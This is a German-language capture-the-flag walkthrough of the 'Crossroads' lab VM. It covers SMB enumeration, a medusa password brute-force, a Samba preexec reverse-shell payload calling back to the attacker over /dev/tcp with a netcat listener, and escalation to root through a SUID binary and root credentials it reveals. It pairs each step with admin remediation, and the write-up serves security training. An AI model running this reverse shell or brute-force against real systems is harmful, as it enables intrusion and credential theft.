Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment eingesetzt.
Bewertung: Ein Host mit der IP `192.168.2.128` und der MAC-Adresse `08:00:27:9c:83:dc` (VirtualBox) wird als Zielsystem identifiziert.
Empfehlung (Pentester): Führe einen detaillierten Nmap-Scan auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerk-Monitoring.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.128 08:00:27:9c:83:dc PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.876 seconds (136.49 hosts/sec). 1 responded
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf das Ziel 192.168.2.128 durchgeführt.
Bewertung: !!Wichtige Dienste gefunden!!** - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Die Startseite hat einen Titel ("12 Step Treatment Center | Crossroads Centre Antigua"). `robots.txt` verbietet `/crossroads.png`. - **Port 139 & 445 (SMB):** Samba 4.9.5-Debian. **Anonymer Gastzugriff ist erlaubt** (`account_used: guest`), und **Message Signing ist deaktiviert**, was ein Risiko darstellt. Der Hostname ist `crossroads`. Das OS wird als Linux erkannt.
Empfehlung (Pentester):**Hohe Priorität:** Untersuche die SMB-Shares mit anonymem Zugriff (`enum4linux`, `smbclient`, `smbmap`). Untersuche parallel den Webserver (Inhalte, `/crossroads.png`).
Empfehlung (Admin):**DRINGEND:** Deaktiviere anonymen SMB-Gastzugriff. Aktiviere Message Signing (`smb signing = required`). Halte Samba und Apache aktuell.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-10 09:10 CET Nmap scan report for cross.hmv (192.168.2.128) Host is up (0.00017s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: 12 Step Treatment Center | Crossroads Centre Antigua |_http-server-header: Apache/2.4.38 (Debian) | http-robots.txt: 1 disallowed entry |_/crossroads.png 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: Host: CROSSROADS Host script results: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian) | Computer name: crossroads | NetBIOS computer name: CROSSROADS\x00 | Domain name: \x00 | FQDN: crossroads |_ System time: 2022-10-10T09:12:09+01:00 | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_clock-skew: mean: -19m56s, deviation: 0s, median: -19m56s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2022-10-10T14:12:09 |_ start_date: N/A |_nbstat: NetBIOS name: CROSSROADS, NetBIOS user:, NetBIOS MAC: 00:00:00:00:00:00 (Xerox) TRACEROUTE HOP RTT ADDRESS 1 0.17 ms cross.hmv (192.168.2.128) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.88 seconds
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) mit der `big.txt`-Wortliste verwendet.
Bewertung: !!Wichtiger Fund!!** Neben `/index.html` und `/robots.txt` wird die Datei `/note.txt` gefunden. `/server-status` ist verboten.
Empfehlung (Pentester): Untersuche den Inhalt von `/note.txt` sofort. Untersuche `/robots.txt`.
Empfehlung (Admin): Beschränke den Zugriff auf `/server-status`. Überprüfe den Inhalt von `note.txt` und `robots.txt`.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.128 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,bak,7z,zip,py,sql,txt,xml,jpg,html [+] Expanded: true [+] Wildcard detection: true [+] Timeout: 10s =============================================================== 2022/10/10 09:15:00 Starting gobuster =============================================================== http://192.168.2.128/index.html (Status: 200) [Size: 93075] http://192.168.2.128/note.txt (Status: 200) [Size: 108] http://192.168.2.128/robots.txt (Status: 200) [Size: 42] http://192.168.2.128/server-status (Status: 403) [Size: 278] =============================================================== 2022/10/10 09:25:00 Finished ===============================================================
Analyse: Der Inhalt der Datei `/note.txt` wird mit `curl` abgerufen.
Bewertung: !!Kryptischer Hinweis!!** Die Notiz erwähnt "three kings of blues" und "crossroads". Dies ist ein Hinweis, der auf Blues-Musiker (Albert King, B.B. King, Freddie King) und möglicherweise den Hostnamen oder die `/crossroads.png`-Datei anspielt. Der Absender "abuzerkomurcu" taucht erneut auf.
Empfehlung (Pentester): Behalte diese Namen/Begriffe für mögliche Benutzernamen oder Passwörter im Hinterkopf. Untersuche `/robots.txt` und lade `/crossroads.png` herunter.
Empfehlung (Admin): Entferne solche Notizen von öffentlich zugänglichen Pfaden.
just find three kings of blues then move to the crossroads ------------------------------- -abuzerkomurcu
Analyse: Der Inhalt von `/robots.txt` wird mit `curl` abgerufen.
Bewertung: Bestätigt das Disallow für `/crossroads.png`, wie von Nmap gefunden.
Empfehlung (Pentester): Lade `/crossroads.png` herunter und analysiere es.
Empfehlung (Admin): Keine Aktion.
User-agent: * Disallow: /crossroads.png
Analyse: Die Datei `/crossroads.png` wird mit `wget` heruntergeladen.
Bewertung: Die Datei wurde erfolgreich heruntergeladen und steht zur Analyse bereit.
Empfehlung (Pentester): Analysiere die PNG-Datei mit Steganographie-Tools oder Bildanalyse-Werkzeugen, insbesondere im Hinblick auf den "three kings"-Hinweis.
Empfehlung (Admin): Keine Aktion.
--2022-10-10 09:28:15-- http://192.168.2.128/crossroads.png Auflösen des Hostnamens 192.168.2.128 (192.168.2.128)… 192.168.2.128 Verbindungsaufbau zu 192.168.2.128:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 1583196 (1.5M) [image/png] Wird in »crossroads.png« gespeichert. crossroads.png 100%[=============================>] 1.51M 7.89MB/s in 0.2s 2022-10-10 09:28:15 (7.89 MB/s) - »crossroads.png« gespeichert [1583196/1583196]
Analyse: `enum4linux -a` wird zur detaillierten Enumeration des SMB-Dienstes verwendet. (Hinweis: Die IP im Log ist falsch, sollte 192.168.2.128 sein).
Bewertung: !!Benutzer gefunden!!** Enum4linux bestätigt den anonymen Zugriff und findet durch RID-Cycling den Benutzer `albert`. Dies korreliert mit dem "three kings of blues"-Hinweis (Albert King).
Empfehlung (Pentester): Konzentriere dich auf den Benutzer `albert`. Versuche, sein Passwort für SMB (oder SSH, falls offen) zu knacken.
Empfehlung (Admin): Deaktiviere anonymen SMB-Zugriff und beschränke die Möglichkeit des RID-Cyclings, falls möglich.
Starting enum4linux v0.9.1 on Mon Oct 10 09:30:00 2022 ========================== | Target Information | ========================== Target ........... 192.168.2.128 ... (Workgroup, NBTStat etc.) ... ==================================== | Share Enumeration on 192.168.2.128 | ==================================== Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smbshare Disk IPC$ IPC IPC Service (Samba 4.9.5-Debian) ... ================================================================ | Users on 192.168.2.128 via RID cycling (RIDS: 500-550,1000-1050) | ================================================================ [I] Found new SID: S-1-5-21-198007098-3908253677-2746664996 [I] Found new SID: S-1-5-32 [+] Enumerating users using SID S-1-5-21-198007098-3908253677-2746664996 and logon username '', password '' S-1-5-21-198007098-3908253677-2746664996-501 CROSSROADS\nobody (Local User) S-1-5-21-198007098-3908253677-2746664996-513 CROSSROADS\None (Domain Group) S-1-5-21-198007098-3908253677-2746664996-1001 CROSSROADS\albert (Local User) [+] Enumerating users using SID S-1-5-32 and logon username '', password '' S-1-5-32-544 BUILTIN\Administrators (Local Group) S-1-5-32-545 BUILTIN\Users (Local Group) ... enum4linux complete on Mon Oct 10 09:31:00 2022
Analyse: `smbmap` wird verwendet, um die Berechtigungen der Shares für den anonymen/Gast-Benutzer zu prüfen.
Bewertung: Bestätigt, dass der anonyme Benutzer keinen Zugriff (`NO ACCESS`) auf `print$`, `smbshare` und `IPC$` hat.
Empfehlung (Pentester): Der anonyme Zugriff auf Shares ist blockiert. Es werden gültige Anmeldedaten benötigt, wahrscheinlich die des Benutzers `albert`.
Empfehlung (Admin): Korrekte Konfiguration, da anonymer Zugriff auf Shares hier verhindert wird.
[+] IP: 192.168.2.128:445 Name: cross.hmv Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers smbshare NO ACCESS IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
Analyse: `medusa` wird eingesetzt, um einen SMB-Passwort-Brute-Force-Angriff gegen den Benutzer `albert` durchzuführen, wobei `rockyou.txt` als Wortliste verwendet wird.
Bewertung: !!Passwort gefunden!!** Medusa findet erfolgreich das Passwort `bradley1` für den Benutzer `albert`.
Empfehlung (Pentester): Verwende die Anmeldedaten `albert` / `bradley1`, um dich mit `smbclient` zu verbinden und auf die Shares zuzugreifen, insbesondere auf das Home-Verzeichnis von `albert` (oft als Share mit dem Benutzernamen freigegeben).
Empfehlung (Admin): Ändere das kompromittierte Passwort für `albert`. Erzwinge starke Passwörter und schütze vor Brute-Force-Angriffen (z.B. Account-Sperrung).
ACCOUNT FOUND: [smbnt] Host: 192.168.2.128 User: albert Password: bradley1 [SUCCESS]
Analyse: `smbclient` wird verwendet, um sich mit den gefundenen Zugangsdaten (`albert` / `bradley1`) mit der Share zu verbinden, die dem Home-Verzeichnis von `albert` entspricht (`//192.168.2.128/albert`).
Bewertung: Die Verbindung ist erfolgreich. Der Inhalt des Home-Verzeichnisses wird aufgelistet: Ein Unterverzeichnis `smbshare`, die Datei `crossroads.png`, das SUID-Binary `beroot` und die User-Flag `user.txt` werden gefunden.
Empfehlung (Pentester): Lade `user.txt` und `beroot` herunter. Untersuche das `smbshare`-Verzeichnis.
Empfehlung (Admin): Überprüfe die Notwendigkeit der Freigabe von Home-Verzeichnissen über SMB.
Password for [WORKGROUP\albert]:bradley1 Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Mar 3 00:16:15 2021 .. D 0 Tue Mar 2 23:00:47 2021 smbshare D 0 Tue Mar 2 23:16:13 2021 crossroads.png N 1583196 Tue Mar 2 23:34:03 2021 beroot N 16664 Wed Mar 3 00:02:41 2021 user.txt N 32 Wed Mar 3 00:15:18 2021 10000000 blocks of size 1024. 5000000 blocks available
Analyse: Innerhalb der `albert`-Share wird in das `smbshare`-Verzeichnis gewechselt (impliziert durch den nächsten `ls`-Aufruf). Dort wird die Datei `smb.conf` gefunden.
Bewertung: !!Wichtiger Fund!!** Die Samba-Konfigurationsdatei (`smb.conf`) befindet sich in dieser für `albert` zugänglichen Share. Sie enthält wahrscheinlich Konfigurationsdetails, die für eine Eskalation genutzt werden können, insbesondere die Konfiguration der `smbshare` selbst.
Empfehlung (Pentester): Lade `smb.conf` herunter und analysiere sie sorgfältig, insbesondere auf `preexec`- oder `postexec`-Direktiven im Zusammenhang mit `smbshare`.
Empfehlung (Admin): Speichere Konfigurationsdateien nicht in Benutzer-Shares. Sichere die `smb.conf` mit korrekten Berechtigungen.
smb: \> cd smbshare smb: \smbshare\> ls . D 0 Tue Mar 2 23:16:13 2021 .. D 0 Wed Mar 3 00:16:15 2021 smb.conf N 8779 Tue Mar 2 23:14:54 2021 10000000 blocks of size 1024. 5000000 blocks available
Analyse: Die relevanten Dateien (`user.txt`, `beroot`, `crossroads.png`, `smb.conf`) werden mit `get` heruntergeladen.
Bewertung: Alle identifizierten wichtigen Dateien sind nun zur lokalen Analyse verfügbar.
Empfehlung (Pentester): Analysiere `smb.conf` auf den `preexec`-Eintrag. Untersuche `beroot`. Lies `user.txt`.
Empfehlung (Admin): Keine Aktion.
smb: \> get /home/albert/user.txt user.txt getting file \home\albert\user.txt of size 32 as user.txt (x.x KiloBytes/sec) smb: \> get /home/albert/beroot beroot getting file \home\albert\beroot of size 16664 as beroot (x.x KiloBytes/sec) smb: \> get /home/albert/crossroads.png crossroads.png getting file \home\albert\crossroads.png of size 1583196 as crossroads.png (x.x KiloBytes/sec) smb: \> get /home/albert/smbshare/smb.conf smb.conf getting file \home\albert\smbshare\smb.conf of size 8779 as smb.conf (x.x KiloBytes/sec) smb: \> quit
Analyse: Die lokale Analyse der heruntergeladenen `smb.conf` (impliziert) hat ergeben, dass die Freigabe `smbshare` eine `preexec`-Direktive enthält, die `/home/albert/smbshare/smbscript.sh` ausführt, wenn eine Verbindung zu dieser Share hergestellt wird.
Bewertung: !!RCE-Vektor bestätigt!!** Dies ist eine klassische Fehlkonfiguration, die Remote Code Execution ermöglicht. Da der Benutzer `albert` Schreibrechte auf das Verzeichnis `/home/albert/smbshare` hat (weil es sein eigenes ist oder die Berechtigungen es erlauben), kann er ein beliebiges Skript als `smbscript.sh` hochladen. Dieses Skript wird dann ausgeführt, wenn *irgendjemand* (wahrscheinlich mit den Rechten des Samba-Daemons oder des verbindenden Benutzers) auf die `smbshare` zugreift.
Empfehlung (Pentester):
1. Erstelle ein Shell-Skript (`smbscript.sh`) mit einer Reverse-Shell-Payload.
2. Starte einen Netcat-Listener auf dem Angreifer-System.
3. Verbinde dich als `albert` mit der `smbshare`.
4. Lade das `smbscript.sh` hoch.
5. Trenne die Verbindung und verbinde dich *erneut* mit der `smbshare` (oder warte), um das `preexec`-Skript auszulösen.
Empfehlung (Admin):**DRINGEND:** Entferne oder sichere die `preexec`-Direktive in `smb.conf`. Wenn Pre-/Postexec-Skripte benötigt werden, stelle sicher, dass sie Root gehören, keine Schreibrechte für andere Benutzer haben und sorgfältig auf Sicherheit geprüft wurden.
# Analyse von smb.conf ergab: [smbshare] path = /home/albert/smbshare read only = no preexec = /home/albert/smbshare/smbscript.sh
Analyse: Ein lokales Shell-Skript (`smbscript.sh`) wird mit einer Reverse-Shell-Payload (`bash -i >& /dev/tcp/...`) erstellt.
Bewertung: Der Payload für den RCE-Vektor ist vorbereitet.
Empfehlung (Pentester): Fahre mit dem Upload fort.
Empfehlung (Admin): Keine Aktion.
#!/bin/bash bash -c 'bash -i >& /dev/tcp/192.168.2.140/9001 0>&1'
Analyse: Der Exploit wird durchgeführt: 1. Ein Netcat-Listener wird auf Port 9001 gestartet. 2. Eine `smbclient`-Verbindung zur `smbshare` wird als `albert` hergestellt. 3. Das Skript `smbscript.sh` wird mit `put` hochgeladen. 4. Der Listener empfängt die Verbindung.
Bewertung: !!Initial Access erfolgreich!!** Das Hochladen des Skripts in die `smbshare` löst durch die `preexec`-Direktive in `smb.conf` die Ausführung des Skripts aus. Da die Verbindung als `albert` hergestellt wurde, läuft das `preexec`-Skript wahrscheinlich auch als `albert`. Eine Reverse Shell als Benutzer `albert` wird zum Angreifer aufgebaut.
Empfehlung (Pentester): Stabilisiere die Shell. Untersuche die Umgebung als `albert` erneut, insbesondere das SUID-Binary `beroot`.
Empfehlung (Admin): Behebe die unsichere `preexec`-Konfiguration.
listening on [any] 9001 ...
Password for [WORKGROUP\albert]:bradley1 Try "help" to get a list of possible commands. smb: \> pwd Current directory is \\192.168.2.128\smbshare\ smb: \> put smbscript.sh putting file smbscript.sh as \smbscript.sh (x.x kb/s) smb: \> quit
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 38044 $
Analyse: Die Reverse Shell als `albert` wird stabilisiert.
Bewertung: Erfolgreich.
Empfehlung (Pentester): Beginne die finale Eskalation.
Empfehlung (Admin): Keine Aktion.
$ python -c 'import pty; pty.spawn("/bin/bash")' albert@crossroads:/home/albert/smbshare$ export TERM=xterm albert@crossroads:/home/albert/smbshare$ cd .. albert@crossroads:/home/albert$
Analyse: Der Typ der Datei `beroot` (die zuvor über SMB heruntergeladen wurde, aber hier vermutlich direkt auf dem Ziel untersucht wird) wird mit `file` überprüft.
Bewertung: Bestätigt, dass `beroot` ein 64-Bit SUID ELF Binary ist.
Empfehlung (Pentester): Führe `./beroot` aus.
Empfehlung (Admin): Überprüfe SUID-Binaries.
albert@crossroads:/home/albert$ file beroot
beroot: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1da1f0fded1889d32e27b99a2a4bd170c30349b, for GNU/Linux 3.2.0, not stripped
Analyse: Die Datei `crossroads.png` wird erneut heruntergeladen und mit `stegoveritas` analysiert. Der Versuch schlägt wegen fehlender Abhängigkeiten fehl.
Bewertung: Steganographie bleibt ein unbestätigter Pfad.
Empfehlung (Pentester): Fokussiere dich auf das SUID-Binary `beroot`.
Empfehlung (Admin): Keine Aktion.
--2022-10-10 12:27:42-- http://cross.hmv/crossroads.png Auflösen des Hostnamens cross.hmv (cross.hmv)… 192.168.2.128 Verbindungsaufbau zu cross.hmv (cross.hmv)|192.168.2.128|:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 1100255 (1,0M) [image/png] Wird in »crossroads.png« gespeichert. crossroads.png 100%[=============================>] 1,05M --.-KB/s in 0,01s 2022-10-10 12:27:42 (85,6 MB/s) - »crossroads.png« gespeichert [1100255/1100255]
ERROR:StegoVeritas:Missing the following required packages: foremost, libexempi3 ERROR:StegoVeritas:Either install them manually or run 'stegoveritas_install_deps'. Running Module: SVImage +---------------------------+------+ | Image Format | Mode | +---------------------------+------+ | Portable network graphics | RGB | +---------------------------+------+ ... (Weitere Analyse-Module laufen evtl. noch) ...
Analyse: Das SUID-Binary `./beroot` wird ausgeführt. Es fragt nach einem Passwort. Das Passwort `lemuel` wird eingegeben. Das Programm gibt dann Anweisungen.
Bewertung: !!Passwort für SUID-Binary gefunden!!** Das Passwort `lemuel` (Herkunft unklar, evtl. "three kings" -> Lemuel B. King?) funktioniert. Das Programm fordert auf, `ls` auszuführen und eine Datei `rootcreds` zu finden.
Empfehlung (Pentester): Führe `ls` aus und lies die Datei `rootcreds`.
Empfehlung (Admin): Entferne das SUID-Binary `beroot`. Verwende keine hartcodierten Passwörter oder unsicheren Prüfungen in SUID-Programmen.
albert@crossroads:/home/albert$ ./beroot enter password for root ----------------------- lemuel password: lemuel do ls and find root creds
Analyse: `ls` wird ausgeführt, findet die Datei `rootcreds`. Der Inhalt wird mit `cat` angezeigt.
Bewertung: !!Root-Passwort gefunden!!** Die Datei enthält die Zugangsdaten für den Root-Benutzer: Benutzer `root`, Passwort `___drifting___`.
Empfehlung (Pentester): Wechsle mit `su root` und diesem Passwort zum Root-Benutzer.
Empfehlung (Admin): Ändere das Root-Passwort. Entferne das `beroot`-Binary und die `rootcreds`-Datei.
albert@crossroads:/home/albert$ ls beroot clear crossroads.png rootcreds smbshare user.txt albert@crossroads:/home/albert$ cat rootcreds root ___drifting___
Analyse: Der Befehl `su root` wird ausgeführt, um zum Root-Benutzer zu wechseln. Das Passwort `___drifting___` (aus `rootcreds`) wird eingegeben.
Bewertung: !!Privilegieneskalation erfolgreich!!** Der Wechsel zum Root-Benutzer gelingt. Der Prompt ändert sich zu `root@crossroads:/home/albert#`.
Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Ändere das Root-Passwort. Entferne das `beroot`-Binary und die `rootcreds`-Datei. Korrigiere die SMB- und TFTP-Schwachstellen.
albert@crossroads:/home/albert$ su root Password: ___drifting___ root@crossroads:/home/albert#
Analyse: Als Root wird ins `/root`-Verzeichnis gewechselt und die Datei `root.txt` gelesen.
Bewertung: Die Root-Flag `876F96716C3606B09A89F0FA3C1D52EB` wird erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
root@crossroads:/home/albert# cd /root root@crossroads:~# ls beroot.sh creds passwd root.txt root@crossroads:~# cat root.txt 876F96716C3606B09A89F0FA3C1D52EB